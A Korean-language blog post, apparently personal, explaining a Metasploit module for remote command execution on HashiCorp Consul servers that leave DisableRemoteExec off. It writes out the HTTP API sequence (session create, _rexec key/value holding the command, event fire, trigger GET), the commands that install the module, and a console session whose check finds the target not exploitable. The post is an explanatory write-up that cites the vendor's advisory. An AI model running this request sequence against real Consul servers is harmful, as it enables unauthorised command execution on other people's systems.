Hashicorp Consul - RCE via Rexec (Metasploit modules)

아침에 출근길에 edb 보던 중 hashicorp에서 제공하는 consul에 대한 metasploit rce 코드가 올라와서 해당 내용으로 글 작성해 봅니다. 독특한 이슈나 임팩트 있는 건은 아니지만, 그냥 관심있는 툴에 나온 부분이라 그냥..그냥그냥 정리해봅니다.

사실 취약점이라기 보단, 설정이 잘못되어 있는 경우 명령 실행이 가능한 케이스인데, msf 에서 exploit 코드로 올려버렸군요.

아주 가볍게 내용 살펴봅시다!

Consul rexec?

Consul은 실행 옵션 중에 Executon 옵션을 포함하고 있습니다. 원래 스펙적인 부분이긴한데, client 앱이나 api를 통해서 명령을 받고 실행할 수 있는 부분인데요,

consul exec

형태로 동작합니다. 자세한건 아래 링크 참고 https://www.consul.io/docs/commands/exec.html

서버에서 사용할 수 있도록 구성된게 rexec인데, 이런 rexec를 consul 서버에상에서 처리하기 위해선 Config의 DisableRemoteExec가 false로 설정되어야 합니다. 아래 api 호출로 consul 서버의 Config를 받아올 수 있는데, 여기서 DisableRemoteExec의 상태를 볼 수 있습니다. (추후 check 기능에서 이 부분만 테스트합니다)

[ Request ]

GET /v1/agent/self HTTP/1.1

[ Response ]

{"Config":{"Datacenter":"krane-dev","NodeName”:”192.168.0.16","NodeID”:"54a1ffba-81ec-5cc0-a4b4-0aa5cddcf3b1","Revision":"e716d1b5f","Server”:
…. 생략…
"DisableRemoteExec”:true}

만약 false인 경우, 우리는 원격지에서 명령 실행이 가능하게 됩니다. 명령 실행이 되는 순서를 보면..

  1. _rexec key/value 등록
PUT v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID’]}

{“Command”:”your_command”, “Wait”:20000
  1. 이벤트 등록
PUT v1/event/fire/_rexec

{Prefix:"_rexec”, Session:"#{sess['ID']}”}
  1. 트리거
GET v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms

Exploit & Check Metasploit Modules

아직 공식 metasploit-framework update로 올라온건 아니라 edb,mad-metasploit 등에서 따로 받아 적용하셔야 합니다. (https://github.com/hahwul/mad-metasploit/blob/6e4dd3314cc70d9351e97d218baf6e7ea9a915de/mad-metasploit-archive/exploits/linux/remote/46073.rb)

wget https://raw.githubusercontent.com/hahwul/mad-metasploit/6e4dd3314cc70d9351e97d218baf6e7ea9a915de/mad-metasploit-archive/exploits/linux/remote/46073.rb
cp 46073.rb modules/exploit/hahwul/consul_rexec_exec.rb

이후 options 세팅해주고 테스팅해보면..

HWUL > use hahwul/consul_rexec_exec
HWUL exploit(hahwul/consul_rexec_exec) > show options

Module options (exploit/hahwul/consul_rexec_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ACL_TOKEN                   no        Consul Agent ACL token
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      8500             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path
   TIMEOUT    20               no        The timeout to use when waiting for the command to trigger
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Linux
HWUL exploit(hahwul/consul_rexec_exec) > check
[*] 192.168.0.16:8500 - The target is not exploitable.

이렇습니다. 뭐 별거 없으니.. 실제로 해당 모듈은 아까 위에서 이야기드린 DisableRemoteExec 여부를 체크하고 취약이라면 아래 순서로 동작합니다.

PUT v1/session/create
PUT v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID’]}

{“Command”:”your_command”, “Wait”:20000
PUT v1/event/fire/_rexec

{Prefix:"_rexec”, Session:"#{sess['ID']}”}
GET v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms

Reference

https://www.hashicorp.com/blog/protecting-consul-from-rce-risk-in-specific-configurations https://www.exploit-db.com/exploits/46073